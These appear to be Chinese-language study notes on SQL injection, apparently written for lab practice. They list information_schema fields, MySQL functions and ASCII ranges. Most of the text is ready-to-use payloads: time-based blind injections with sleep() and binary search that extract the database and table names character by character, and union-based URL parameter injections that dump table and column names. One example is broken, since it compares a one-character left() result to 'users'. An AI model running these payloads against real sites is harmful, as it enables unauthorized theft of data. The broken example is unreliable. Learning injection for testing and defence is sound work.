SQL 注入常用知识点与盲注记录
整理 information_schema、常用数据库函数、盲注判断和字符型注入相关笔记。
information_schema 相关字段
information_schema.tables:包含了数据库里所有的表。
table_name:表名。
table_schema:数据库名。
column_name:字段名。
常用函数与子句
version():查看数据库版本。
version()
database():查看使用的数据库。
database()
user():查看当前用户。
user()
limit:limit 子句分批来获取所有数据。
group_concat():一次性获取所有的数据库信息。
查询表和字段
查本数据库有哪些表:
select table_name from information_schema.tables where table_schema=database()
查看 user 表有哪些字段:
select column_name from information_schema.columns where table_name='users'
ASCII 范围
a-z: 97 ~ 122
A-Z: 65 ~ 90
0-9: 48 ~ 57
盲注常用方法
length
length(database())
substr
substr(字符串, 起始位置, 长度)
示例:
substr("security",1,1) = 's'
substr("security",2,1) = 'e'
substr("security",3,1) = 'c'
left
从左到右截取 x 个字符:
left(database(),x)
if
if(条件, 真执行, 假执行)
示例:
if(length(database())=8, sleep(5), 1)
ascii
ascii('s')=115
完整综合语法
用二分法逐个爆出数据库名字:
if(ascii(substr(database(),1,1))>96,sleep(5),1)
取本数据库第四个表的第一个字母,是 ASCII 117,就是小写的 u:
if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))=117,sleep(3),1)
另一种方法一次性爆完整数据表:
if(left((select table_name from information_schema.tables where table_schema=database() limit 3,1),1)='users',sleep(5),5)
字符型注入爆表
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
查看列名:
?id=-1' union select 1,2,group_concat(column_name)from information_schema.columns where table_name='users'--+